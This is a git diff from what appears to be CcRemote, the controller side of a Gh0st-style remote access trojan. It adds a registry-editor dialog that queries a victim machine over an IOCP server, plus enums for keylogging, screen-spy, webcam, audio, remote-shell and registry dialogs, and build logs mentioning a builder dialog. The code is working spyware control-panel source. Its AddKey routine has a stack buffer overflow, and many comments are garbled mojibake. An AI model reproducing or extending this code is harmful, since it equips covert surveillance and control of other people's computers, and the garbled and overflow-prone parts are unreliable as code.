// add edit control
rc += CPoint(0, rc.Height() + CYSPACE); // move below static
rc.bottom = rc.top + CYEDIT; // height = height of edit control
dtb.AddItem(CDlgTemplateBuilder::EDIT, // add it ES_AUTOHSCROLL must be add
WS_VISIBLE|WS_CHILD|WS_BORDER|WS_TABSTOP|ES_AUTOHSCROLL, rc, m_str, IDEDIT);
// add OK button
rc += CPoint(0, rc.Height() + CYSPACE); // move below edit control
rc.bottom = rc.top + CYBUTTON; // height = button height
rc.left = rc.right - CXBUTTON; // width = button width
rc -= CPoint(CXBUTTON + DLGMARGIN,0); // move left one button width
dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add it
WS_VISIBLE|WS_CHILD|WS_TABSTOP|BS_DEFPUSHBUTTON, rc, _T("&OK"), IDOK);
// add Cancel button
rc += CPoint(CXBUTTON + DLGMARGIN,0); // move right again
dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add Cancel button
WS_VISIBLE|WS_CHILD|WS_TABSTOP, rc, _T("&Cancel"), IDCANCEL);
return InitModalIndirect(pTempl, pParent);
}
//////////////////
// Initialize dialog: if I loaded a system icon, set it in static control.
//
BOOL CInputDialog::OnInitDialog()
{
if (m_hIcon) {
CStatic* pStatic = (CStatic*)GetDlgItem(IDICON);
ASSERT(pStatic);
pStatic->SetIcon(m_hIcon);
}
return CDialog::OnInitDialog();
}
/////////////////
// User pressed OK: check for empty string if required flag is set.
//
void CInputDialog::OnOK()
{
UpdateData(TRUE);
if (m_bRequired && m_str.IsEmpty()) {
MessageBeep(0);
return; // don't quit dialog!
}
CDialog::OnOK();
}

View File

@@ -0,0 +1,83 @@
////////////////////////////////////////////////////////////////
// PixieLib(TM) Copyright 1997-2005 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
// Compiles with Visual Studio.NET 7.1 or greater. Set tabsize=3.
//
//////////////////
// Helper class to build a dialog template in memory. Only supports what's
// needed for CStringDialog.
//
class CDlgTemplateBuilder {
protected:
WORD* m_pBuffer; // internal buffer holds dialog template
WORD* m_pNext; // next WORD to copy stuff
WORD* m_pEndBuf; // end of buffer
// align ptr to nearest DWORD
WORD* AlignDWORD(WORD* ptr) {
ptr++; // round up to nearest DWORD
LPARAM lp = (LPARAM)ptr; // convert to long
lp &= 0xFFFFFFFC; // make sure on DWORD boundary
return (WORD*)lp;
}
void AddItemTemplate(WORD wType, DWORD dwStyle, const CRect& rc,
WORD nID, DWORD dwStyleEx);
public:
// Windows predefined atom names
enum { BUTTON=0x0080, EDIT, STATIC, LISTBOX, SCROLLBAR, COMBOBOX };
CDlgTemplateBuilder(UINT nBufLen=1024);
~CDlgTemplateBuilder();
DLGTEMPLATE* GetTemplate() { return (DLGTEMPLATE*)m_pBuffer; }
// functions to build the template
DLGTEMPLATE* Begin(DWORD dwStyle, const CRect& rc, LPCTSTR caption, DWORD dwStyleEx=0);
WORD* AddText(WORD* buf, LPCTSTR text);
void AddItem(WORD wType, DWORD dwStyle, const CRect& rc,
LPCTSTR text, WORD nID=-1, DWORD dwStyleEx=0);
void AddItem(WORD wType, DWORD dwStyle, const CRect& rc,
WORD nResID, WORD nID=-1, DWORD dwStyleEx=0);
};
//////////////////
// Class to implement a simple string input dialog. Kind of like MessageBox
// but it accepts a single string input from user. You provide the prompt. To
// use:
//
// CStringDialog dlg; // string dialog
// dlg.m_bRequired = m_bRequired; // if string is required
// dlg.Init(_T("Title"), _T("Enter a string:"), this, IDI_QUESTION);
// dlg.DoModal(); // run dialog
// CString result = dlg.m_str; // whatever the user typed
//
class CInputDialog : public CDialog {
public:
CString m_str; // the string returned [in,out]
BOOL m_bRequired; // string required?
HICON m_hIcon; // icon if not supplied
CInputDialog() { }
~CInputDialog() { }
// Call this to create the template with given caption and prompt.
BOOL Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent=NULL,
WORD nIDIcon=(WORD)IDI_QUESTION);
protected:
CDlgTemplateBuilder m_dtb; // place to build/hold the dialog template
enum { IDICON=1, IDEDIT }; // control IDs
// MFC virtual overrides
virtual BOOL OnInitDialog();
virtual void OnOK();
virtual void DoDataExchange(CDataExchange* pDX)
{
DDX_Text(pDX, IDEDIT, m_str);
}
};

View File

@@ -43,15 +43,19 @@ enum
WM_OPENKEYBOARDDIALOG, // <20>򿪼<EFBFBD><F2BFAABC>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
WM_OPENPSLISTDIALOG, // <20>򿪽<EFBFBD><F2BFAABD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WM_OPENSHELLDIALOG, // <20><><EFBFBD><EFBFBD>shell<6C><6C><EFBFBD><EFBFBD>
WM_OPENSERVERDIALOG, // <20>򿪷<EFBFBD><F2BFAAB7>񴰿<EFBFBD>
WM_OPENREGEDITDIALOG, // <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WM_RESETPORT, // <20>ı<EFBFBD><C4B1>˿<EFBFBD>
//////////////////////////////////////////////////////////////////////////
FILEMANAGER_DLG = 1,
SCREENSPY_DLG,
WEBCAM_DLG,
AUDIO_DLG,
KEYBOARD_DLG,
SYSTEM_DLG,
SHELL_DLG
FILEMANAGER_DLG = 1, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
SCREENSPY_DLG, // <20><>Ļ
WEBCAM_DLG,
AUDIO_DLG, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
KEYBOARD_DLG, // <20><><EFBFBD><EFBFBD>
SYSTEM_DLG, // <20><><EFBFBD><EFBFBD>
SHELL_DLG, // shell<6C><6C><EFBFBD><EFBFBD>
SERVER_DLG, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
REGEDIT_DLG // ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
};
@@ -66,3 +70,19 @@ typedef struct
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
}LOGININFO;
typedef struct
{
DWORD dwSizeHigh;
DWORD dwSizeLow;
}FILESIZE;
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
#ifdef _UNICODE
#if defined _M_IX86
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
#elif defined _M_X64
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"")
#else
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
#endif
#endif

BIN
CcRemote/CcRemote/RCa16756 Normal file

Binary file not shown.

BIN
CcRemote/CcRemote/RDa16756 Normal file

Binary file not shown.

View File

@@ -0,0 +1,308 @@
// RegDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
//
#include "pch.h"
#include "CcRemote.h"
#include "RegDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
// CRegDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
IMPLEMENT_DYNAMIC(CRegDlg, CDialog)
enum MYKEY{
MHKEY_CLASSES_ROOT,
MHKEY_CURRENT_USER,
MHKEY_LOCAL_MACHINE,
MHKEY_USERS,
MHKEY_CURRENT_CONFIG
};
enum KEYVALUE{
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
};
struct REGMSG{
int count; //<2F><><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>
DWORD size; //<2F><><EFBFBD>ִ<EFBFBD>С
DWORD valsize; //ֵ<><D6B5>С
};
CRegDlg::CRegDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_DIALOG_REGEDIT, pParent)
{
m_iocpServer = pIOCPServer;
m_pContext = pContext;
}
CRegDlg::~CRegDlg()
{
}
void CRegDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_TREE, m_tree);
DDX_Control(pDX, IDC_LIST, m_list);
}
BEGIN_MESSAGE_MAP(CRegDlg, CDialog)
ON_NOTIFY(TVN_SELCHANGED, IDC_TREE, &CRegDlg::OnTvnSelchangedTree)
END_MESSAGE_MAP()
// CRegDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL CRegDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
HICON hIcon = NULL;
m_ImageList_tree.Create(18, 18, ILC_COLOR16,10, 0);
hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_FATHER_ICON), IMAGE_ICON, 18, 18, 0);
m_ImageList_tree.Add(hIcon);
hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_DIR_ICON), IMAGE_ICON, 32, 32, 0);
m_ImageList_tree.Add(hIcon);
m_tree.SetImageList ( &m_ImageList_tree,TVSIL_NORMAL );
DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE);
dwStyle |=TVS_HASBUTTONS | TVS_HASLINES;// | TVS_LINESATROOT;<3B><><EFBFBD><EFBFBD><EFB2BB>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>Ȼicoͼ<6F><CDBC><EFBFBD>޷<EFBFBD><DEB7><EFBFBD>ʾ
SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle);
m_hRoot = m_tree.InsertItem("ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",0,0,0,0);
HKCU=m_tree.InsertItem("HKEY_CURRENT_USER",1,1,m_hRoot,0);
HKLM=m_tree.InsertItem("HKEY_LOCAL_MACHINE",1,1,m_hRoot,0);
HKUS=m_tree.InsertItem("HKEY_USERS",1,1,m_hRoot,0);
HKCC=m_tree.InsertItem("HKEY_CURRENT_CONFIG",1,1,m_hRoot,0);
HKCR=m_tree.InsertItem("HKEY_CLASSES_ROOT",1,1,m_hRoot,0);
m_tree.Expand(m_hRoot,TVE_EXPAND);
m_list.InsertColumn(0,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,150,-1);
m_list.InsertColumn(1,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,60,-1);
m_list.InsertColumn(2,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,300,-1);
m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT);
//////<2F><><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC>//////
m_HeadIcon.Create(16,16,TRUE,2,2);
m_HeadIcon.Add(AfxGetApp()->LoadIcon(IDI_STR_ICON));
m_HeadIcon.Add(AfxGetApp()->LoadIcon(IDI_DWORD_ICON));
m_list.SetImageList(&m_HeadIcon,LVSIL_SMALL);
return TRUE; // return TRUE unless you set the focus to a control
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
}
void CRegDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMTREEVIEW pNMTreeView = reinterpret_cast<LPNMTREEVIEW>(pNMHDR);
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(!isEnable) return;
isEnable=false;;
TVITEM item = pNMTreeView->itemNew;
if(item.hItem == m_hRoot)
{
isEnable=true;;
return;
}
SelectNode=item.hItem; //<2F><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>򿪵<EFBFBD><F2BFAAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD><EFBFBD>
m_list.DeleteAllItems();
CString FullPath=GetFullPath(SelectNode);
HTREEITEM CurrentNode = item.hItem; //ȡ<>ô˽ڵ<CBBD><DAB5><EFBFBD>ȫ·<C8AB><C2B7>
while(m_tree.GetChildItem(CurrentNode)!=NULL)
{
m_tree.DeleteItem(m_tree.GetChildItem(CurrentNode)); //ɾ<><C9BE> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> OnSelchangingTree<65>¼<EFBFBD> ***
}
char bToken=getFatherPath(FullPath);
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
int nitem=m_list.InsertItem(0,"(Data)",0);
m_list.SetItemText(nitem,1,"REG_SZ");
m_list.SetItemText(nitem,2,"(NULL)");
//BeginWaitCursor();
//char *buf=new char[FullPath.GetLength]
FullPath.Insert(0,bToken);//<2F><><EFBFBD><EFBFBD> <20>Ǹ<EFBFBD><C7B8><EFBFBD><EFBFBD><EFBFBD>
bToken=COMMAND_REG_FIND;
FullPath.Insert(0,bToken); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD>
m_iocpServer->Send(m_pContext, (LPBYTE)(FullPath.GetBuffer(0)), FullPath.GetLength()+1);
isEnable=true;;
*pResult = 0;
}
CString CRegDlg::GetFullPath(HTREEITEM hCurrent)
{
CString strTemp;
CString strReturn = "";
while(1){
if(hCurrent==m_hRoot) return strReturn;
strTemp = m_tree.GetItemText(hCurrent); //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD><C7B0>
if(strTemp.Right(1) != "\\")
strTemp += "\\";
strReturn = strTemp + strReturn;
hCurrent = m_tree.GetParentItem(hCurrent); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
}
return strReturn;
}
char CRegDlg::getFatherPath(CString& FullPath)
{
char bToken;
if(!FullPath.Find("HKEY_CLASSES_ROOT")) //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>
{
//MKEY=HKEY_CLASSES_ROOT;
bToken=MHKEY_CLASSES_ROOT;
FullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT"));
}else if(!FullPath.Find("HKEY_CURRENT_USER"))
{
bToken=MHKEY_CURRENT_USER;
FullPath.Delete(0,sizeof("HKEY_CURRENT_USER"));
}else if(!FullPath.Find("HKEY_LOCAL_MACHINE"))
{
bToken=MHKEY_LOCAL_MACHINE;
FullPath.Delete(0,sizeof("HKEY_LOCAL_MACHINE"));
}else if(!FullPath.Find("HKEY_USERS"))
{
bToken=MHKEY_USERS;
FullPath.Delete(0,sizeof("HKEY_USERS"));
}else if(!FullPath.Find("HKEY_CURRENT_CONFIG"))
{
bToken=MHKEY_CURRENT_CONFIG;
FullPath.Delete(0,sizeof("HKEY_CURRENT_CONFIG"));
}
return bToken;
}
void CRegDlg::OnReceiveComplete(void)
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_REG_PATH: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
AddPath((char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)));
break;
case TOKEN_REG_KEY: //<2F><><EFBFBD>ռ<EFBFBD> <20><>ֵ
AddKey((char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)));
break;
default:
break;
}
}
void CRegDlg::AddKey(char* lpBuffer)
{
m_list.DeleteAllItems();
int nitem=m_list.InsertItem(0,"(Data)",0);
m_list.SetItemText(nitem,1,"REG_SZ");
m_list.SetItemText(nitem,2,"(NULL)");
if(lpBuffer==NULL) return;
REGMSG msg;
memcpy((void*)&msg,lpBuffer,sizeof(msg));
char* tmp=lpBuffer+sizeof(msg);
int bin_temp;
for(int i=0;i<msg.count;i++)
{
BYTE Type=tmp[0]; //ȡ<><C8A1><EFBFBD><EFBFBD>־ͷ
tmp+=sizeof(BYTE);
char* szValueName=tmp; //ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
tmp+=msg.size;
BYTE* szValueDate=(BYTE*)tmp; //ȡ<><C8A1>ֵ
tmp+=msg.valsize;
if(Type==MREG_SZ)
{
int nitem=m_list.InsertItem(0,szValueName,0);
m_list.SetItemText(nitem,1,"REG_SZ");
m_list.SetItemText(nitem,2,(char*)szValueDate);
}
if(Type==MREG_DWORD)
{
char ValueDate[256];
DWORD d=(DWORD)szValueDate;
memcpy((void*)&d,szValueDate,sizeof(DWORD));
CString value;
value.Format("0x%08x",d);
sprintf(ValueDate," (%d)",d);
value+=" ";
value+=ValueDate;
int nitem=m_list.InsertItem(0,szValueName,1);
m_list.SetItemText(nitem,1,"REG_DWORD");
m_list.SetItemText(nitem,2,value);
}
if(Type==MREG_BINARY)
{
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD>ֻҪ<D6BB>Ƕ<EFBFBD>̬<EFBFBD><CCAC>ȡ<EFBFBD>Ļ<EFBFBD><C4BB>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD>ɱ<EFBFBD><C9B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0x1000<30><30>С<EFBFBD><D0A1><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int i = 0;
int index_max = msg.valsize;
char ValueDate[0x1000] = { 0 };
if (msg.valsize > 0x1000)
{
index_max = 0x990;//incomplete
}
for (i = 0; i < index_max; i++)
{
bin_temp = szValueDate[i];
sprintf(ValueDate +(i*3), "%02x ", bin_temp);
}
CString value = ValueDate;
if (index_max == 0x990)
{
value+=" incomplete";
}
int nitem=m_list.InsertItem(0,szValueName,1);
m_list.SetItemText(nitem,1,"REG_BINARY");
m_list.SetItemText(nitem,2, value);
}
if(Type==MREG_EXPAND_SZ)
{
int nitem=m_list.InsertItem(0,szValueName,0);
m_list.SetItemText(nitem,1,"REG_EXPAND_SZ");
m_list.SetItemText(nitem,2,(char*)szValueDate);
}
}
}
void CRegDlg::AddPath(char* lpBuffer)
{
if(lpBuffer==NULL) return;
int msgsize=sizeof(REGMSG);
REGMSG msg;
memcpy((void*)&msg,lpBuffer,msgsize);
DWORD size =msg.size;
int count=msg.count;
if(size>0&&count>0){ //һ<><EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ
for(int i=0;i<count;i++){
char* szKeyName=lpBuffer+size*i+msgsize;
m_tree.InsertItem(szKeyName,1,1,SelectNode,0);//<2F><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD><EFBFBD><EFBFBD>
m_tree.Expand(SelectNode,TVE_EXPAND);
}
}
}

View File

@@ -0,0 +1,46 @@
#pragma once
#include "include/IOCPServer.h"
// CRegDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
class CRegDlg : public CDialog
{
DECLARE_DYNAMIC(CRegDlg)
public:
CRegDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
virtual ~CRegDlg();
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
enum { IDD = IDD_DIALOG_REGEDIT};
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
DECLARE_MESSAGE_MAP()
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
bool isEnable; //<2F>ؼ<EFBFBD><D8BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
HTREEITEM SelectNode;
public:
CTreeCtrl m_tree;
CListCtrl m_list;
CImageList m_HeadIcon;
protected:
HTREEITEM m_hRoot;
HTREEITEM HKLM;
HTREEITEM HKCR;
HTREEITEM HKCU;
HTREEITEM HKUS;
HTREEITEM HKCC;
CImageList m_ImageList_tree;
public:
virtual BOOL OnInitDialog();
afx_msg void OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult);
CString GetFullPath(HTREEITEM hCurrent);
char getFatherPath(CString& FullPath);
void OnReceiveComplete(void);
void AddKey(char* lpBuffer);
void AddPath(char* lpBuffer);
};

View File

@@ -1,30 +1,2 @@
g:\ccremote\ccremote\bin\ccremote.ipdb
g:\ccremote\ccremote\bin\ccremote.iobj
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.pch
g:\ccremote\ccremote\ccremote\ccremote\release\vc141.pdb
g:\ccremote\ccremote\ccremote\ccremote\release\pch.obj
g:\ccremote\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
g:\ccremote\ccremote\ccremote\ccremote\release\seu_qqwry.obj
g:\ccremote\ccremote\ccremote\ccremote\release\inifile.obj
g:\ccremote\ccremote\ccremote\ccremote\release\cpuusage.obj
g:\ccremote\ccremote\ccremote\ccremote\release\csystemdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\release\cshelldlg.obj
g:\ccremote\ccremote\ccremote\ccremote\release\csettingdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\release\ccremotedlg.obj
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.obj
g:\ccremote\ccremote\ccremote\ccremote\release\iocpserver.obj
g:\ccremote\ccremote\ccremote\ccremote\release\buffer.obj
g:\ccremote\ccremote\bin\ccremote.exe
g:\ccremote\ccremote\bin\ccremote.pdb
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.res
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\ccremote.write.1u.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.res
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe

View File

@@ -1,41 +1,99 @@
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
pch.cpp
CcRemote.cpp
CcRemoteDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(161): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(307): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(324): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(792): warning C4018: “<=”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(871): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CSettingDlg.cpp
CShellDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
CSystemDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\csystemdlg.cpp(138): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CpuUsage.cpp
IniFile.cpp
g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
SEU_QQwry.cpp
TrueColorToolBar.cpp
Audio.cpp
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
Buffer.cpp
IOCPServer.cpp
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(718): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(767): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(913): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(727): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(776): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(924): warning C4018: “>=”: 有符号/无符号不匹配
CAudioDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CBuildDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(88): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
